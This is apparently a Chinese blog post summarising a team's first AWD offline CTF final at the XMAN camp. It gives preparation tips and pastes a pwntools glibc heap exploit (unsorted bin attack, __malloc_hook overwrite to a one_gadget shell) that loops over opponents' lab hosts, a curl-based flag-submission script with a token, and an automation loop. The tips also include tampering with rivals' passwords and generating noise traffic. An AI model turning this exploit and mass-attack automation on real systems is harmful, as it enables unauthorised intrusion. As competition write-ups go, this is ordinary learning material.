XMAN 结营赛总结
第一次打awd线下赛,有点小慌乱,什么工具脚本都没有准备。因为讲怎么打awd的时候我在下面打网鼎杯,回去又写wp,就粗略的看了下awd的赛制是什么。下面就写下比赛后的总结
- 准备阶段
- xshell ,xtfp等连接服务器的工具,将服务器上的文件备份。
- 自动化攻击脚本模板以及自动化交flag的模板,这次就是因为浪费了很多时间在写自动化脚本上
这次比赛我们用的是两个脚本,一个半自动化攻击,一个半自动化交flag,同时我写了个linux的shell脚本,将两个脚本结合起来形成了自动化 - 准备好搅屎脚本,让别人流量分析变得更困难(划重点!!!!)虽然比赛时不给搅屎
- 比赛阶段
- 比赛一开始就要将服务器上的东西备份好,同时将一些登陆密码什么的都改了,我的组员就是拼了一波手速,改了别人的密码
- 做pwn的就是逆向,挖漏洞,打patch,写exp打全场,大概就这些工作,我的组员将pwn2打好了patch,我则写了pwn1的exp,但是patch不会打.....
我们到最后都没写出pwn2的exp,有点难受,格式化字符串的漏洞利用的不熟 - 剩下的就是关注下比赛的积分榜了,毕竟web的不会做,但是到后面我们没事做就都跑去分析web的流量了,帮web分析漏洞。
大概就这么些吧,可能写的不是很全,下面将比赛写的脚本贴一下
exp:
from pwn import *
#context.log_level = 'debug'
debug = 0
def leave(size,mes):
p.recv()
p.sendline('1')
p.recv()
p.sendline(str(size))
p.recv()
p.send(mes)
def delete(idx):
p.recv()
p.sendline(str('2'))
p.recv()
p.sendline(str(idx))
def show(idx):
p.recv()
p.sendline('3')
p.recv()
p.sendline(str(idx))
def getshell(n):
p.recv()
p.sendline('4')
p.recv()
p.sendline(str(n))
def expolit():
leave(0x88,'a'*0x88)
leave(0x210,'b'*0x1f0+p64(0x200)+p64(0x21)+'\n')
leave(0x80,'c'*0x80)
leave(0x80,'c'*0x80)
delete(1)
delete(0)
leave(0x88,'e'*0x88)
leave(0x100,'a'*0x100)
leave(0x80,'a'*0x80)
delete(1)
delete(2)
leave(0x100,'a'*0x100)
show(4)
p.recvuntil("Message: ")
leak = u64(p.recv(6).ljust(8,'\x00'))
print hex(leak)
main_arena = leak - 88
libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10
print "main_arena-->[%s]"%hex(main_arena)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_gadget = libc_base + 0xf02a4
global_max_fast = libc_base + 0x3c67f8
log.info("unsorted bin attack ")
delete(1)
leave(0x2a0,'a'*0x108+p64(0xc1)+'a'*0xb8+p64(0x91)+'a'*0x88+p64(0x51)+'\n')
delete(1)
leave(0x300,'a\n')
delete(4)
leave(0x2a0,'a'*0x108+p64(0xc0)+p64(global_max_fast-0x10)+p64(global_max_fast-0x10)+'a'*0xa0+p64(0xc0)+p64(0x91)+'\n')
leave(0xb0,'a\n')
delete(4)
delete(2)
log.info("unsorted bin attack done")
leave(0x2a0,'a'*0x108+p64(0xc1)+p64(malloc_hook-0x10)+'\n')
leave(0xb0,'a\n')
delete(2)
leave(0x2a0,'a'*0x108+p64(0xf1)+'a'*0xe8+p64(0x61)+'\n')
delete(4)
delete(2)
leave(0x2a0,'a'*0x108+p64(0xf1)+p64(main_arena+0x58)+'a'*0xe0+p64(0x61)+'\n')#2
leave(0xe0,'a\n')#4
delete(2)
leave(0x2a0,'a'*0x108+p64(0xe1)+p64(main_arena+0x58)+'a'*0xd0+p64(0x71)+'\n')#2
leave(0xd0,'a\n')#5
leave(0x80,p64(one_gadget)+'\n')
delete(4)
delete(5)
p.sendline("/bin/cat flag")
data=p.readline()
data=p.readline()
f.write(data)
p.close()
def go(p):
try :
expolit()
except Exception:
p.close()
return
if __name__ == '__main__':
f=open("flags","w")
port = '20003'
#ban={1,2,4,5,7,9,17,19,21}
for x in range(1,25):
if x not in ban:
host = '172.16.{}.103'.format(str(x))
p = remote(host,port)
libc = ELF('./libc-2.23.so')
go(p)
f.close()
uploadflag:
import os
import requests
f=open("./flags","r")
while(1):
flag=f.readline()
print flag
if flag=="":
break
if len(flag)==61:
flag=flag.strip('\n')
cmd='''curl http://172.16.200.20:9000/submit_flag/ -d/ -d "flag={}&token=xkS9nxNNshMyRxT7T36naYaFRxWgJyryJKVyGyXb7TGT6yVc9BhvFMhY3DHrJV9hCUtmjMFsSHd"'''.format(flag)
os.system(cmd)
auto shell scripts:
while true; do python exp.py;python uploadflag.py; sleep 300; done